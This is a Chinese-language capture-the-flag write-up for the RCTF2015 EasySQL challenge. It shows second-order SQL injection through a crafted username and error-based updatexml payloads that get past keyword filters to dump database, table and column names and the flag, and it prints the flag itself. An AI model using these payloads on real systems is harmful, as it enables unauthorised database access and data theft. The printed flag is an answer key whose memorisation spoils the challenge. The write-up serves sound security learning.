[RCTF2015]EasySQL-1|SQL注入

1、打开之后只有登录和注册两个功能,界面如下:

2、随便注册一个账户并进行登录,(注册admin时显示该账户已存在,考虑到是不是要获取到admin账户),发现可以进行改密操作,结果如下:

3、抓取各个页面的数据包未发现有用的信息,修改密码的数据包中也不存在明文账户信息,此时想到后台更新密码语句应该为:update password=’xxxx’ where username=”xxxx”,所以我们直接注册用户名为admin”#来闭合sql语句和注释掉后面的sql语句,并admin”#账户的密码,修改后的密码即为admin账户的密码,结果如下:

4、然而并没有什么用,admin账户和自己注册的账户显示的信息一样,但是通过上面我们也发现我们注册的账户明信息存在二次注入行为才导致了admin账户的密码被修改,那我们就需要对注册的账户名进行操作了,因为更改密码未回显信息,那这里只能考虑报错注入。在注册界面尝试时发现and、order等部分关键词被过滤,因此payload:asd”&&(updatexml(1,concat(0x7e,database(),0x7e),1))#,在修改密码时获得数据库名字为:web_sqli,结果如下:

5、获取数据库名字后就需要开始获取表的名字,修改payload:asd”&&(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#,获取到表的名字为:article、flag、users,结果如下:

6、获取到表的名字之后那就获取列的名字,payload:asd”&&(updatexml(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name=’users’))),1))#,成功获取到列明:name,pwd,email,real_flag_1s_her,但是这里一定要注意updatexml函数只能返回32位,所以最后一个列明未必完整,最终列明为:name,pwd,email,real_flag_1s_here,其中concat后面的1在修改为0x7e的时候会因updatexml函数的限制而无法完整输出列明,删除时会导致第一列的name信息丢失,但是在本地进行测试时并不会出现第一列数据丢失的情况(不知道原因),结果如下:

7、获取到列明信息后直接读取flag信息,payload:asd”&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users))),1))#,结果如下:

8、很明显flag值中存在一些和flag无关的数据,因此就需要获取自己需要的数据,此处采用正则表达式来获取flag值,payload:asd”&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’))),1))#,结果如下:

 

9、获取的flag值因为报错函数的限制,未完全输出,因为分割函数都被过滤了,这里只能采用reverse函数将flag逆向输出,然后与正向的进行拼接获得,payload:asd”&&(updatexml(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’)))),1))#,结果如下:

10、通过脚本或者sql语句将获得倒叙的flag值转回正序,最终得到flag值:flag{703ebda2-7058-4ad0-9cb0-dfeecdaba99b}。

将倒叙的flag值转成正序:

str= '}b99abadceefd-0bc9-0da4-8507-2ad'
str=str[::-1]
print(str)

 或者mysql执行语句:

select reverse('}b99abadceefd-0bc9-0da4-8507-2ad');